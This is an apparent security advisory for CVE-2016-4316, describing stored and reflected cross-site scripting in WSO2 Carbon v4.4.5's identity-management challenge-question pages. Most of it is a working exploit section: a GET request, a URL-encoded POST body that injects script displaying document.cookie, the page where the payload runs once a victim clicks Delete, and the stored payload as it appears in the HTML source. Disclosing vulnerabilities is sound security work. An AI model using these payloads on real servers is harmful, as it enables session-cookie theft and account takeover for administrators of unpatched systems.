Vendor:  
=============

Product:  
==================  
Ws02Carbon v4.4.5  
  
WSO2 Carbon is the core platform on which WSO2 middleware products are  
built. It is based on Java OSGi technology, which allows  
components to be dynamically installed, started, stopped, updated, and  
uninstalled, and it eliminates component version conflicts.  
In Carbon, this capability translates into a solid core of common  
middleware enterprise components, including clustering, security,  
logging, and monitoring, plus the ability to add components for specific  
features needed to solve a specific enterprise scenario.  
  
  
  
Vulnerability Type:  
===========================  
Persistent / Reflected  
Cross Site Scripting (XSS) - Cookie Disclosure  
  
  
  
CVE Reference:  
==============  
CVE-2016-4316  
  
  
  
Vulnerability Details:  
=====================  
  
WSo2 Carbon has multiple XSS vectors allowing attackers to inject  
client-side scripts into web pages viewed by other users.  
A cross-site scripting vulnerability may be used by attackers to bypass  
access controls such as the same-origin policy,  
stealing session cookies and used as a platform for further attacks on the  
system.  
  
  
Exploit code(s)  
===============  
  
  
Persistent XSS:  
  
GET Request  
https://victim-server:9443/carbon/identity-mgt/challenges-mgt.jsp?addRowId=XSS&setName=  
"/><script>alert(document.cookie)</script>  
  
  
Request two is POST  
/carbon/identity-mgt/challenges-mgt-finish.jsp  
  
setName=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question0=&question1=City+where+you+were+born+%3F&setId1=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question1=City+where+you+were+born+%3F&question2=Father%27s+middle+name+%3F&setId2=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question2=Father%27s+middle+name+%3F&question3=Name+of+your+first+pet+%3F&setId3=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question3=Name+of+your+first+pet+%3F&question4=Favorite+sport+%3F&setId4=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question4=Favorite+sport+%3F&question5=Favorite+food+%3F&setId5=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question5=Favorite+food+%3F&question6=Favorite+vacation+location+%3F&setId6=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question6=Favorite+vacation+location+%3F&question7=Model+of+your+first+car+%3F&setId7=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question7=Model+of+your+first+car+%3F&question8=Name+of+the+hospital+where+you+were+born+%3F&setId8=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question8=Name+of+the+hospital+where+you+were+born+%3F&setId9=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question9=XSS  
  
  
Then XSS payload will be listed here in below URL:  
  
https://victim-server:9443/carbon/identity-mgt/challenges-set-mgt.jsp?region=region1&item=identity_security_questions_menu  
  
Finally when victim clicks to "Delete" entry on the page the XSS is  
executed.  
  
Here is stored payload from the HTML source  
  
<a onclick="removeSet('\x22/><script>alert(666)</script>')"  
style='background-image:url(images/delete.gif);' type="button"  
class="icon-link">Delete</a></td>
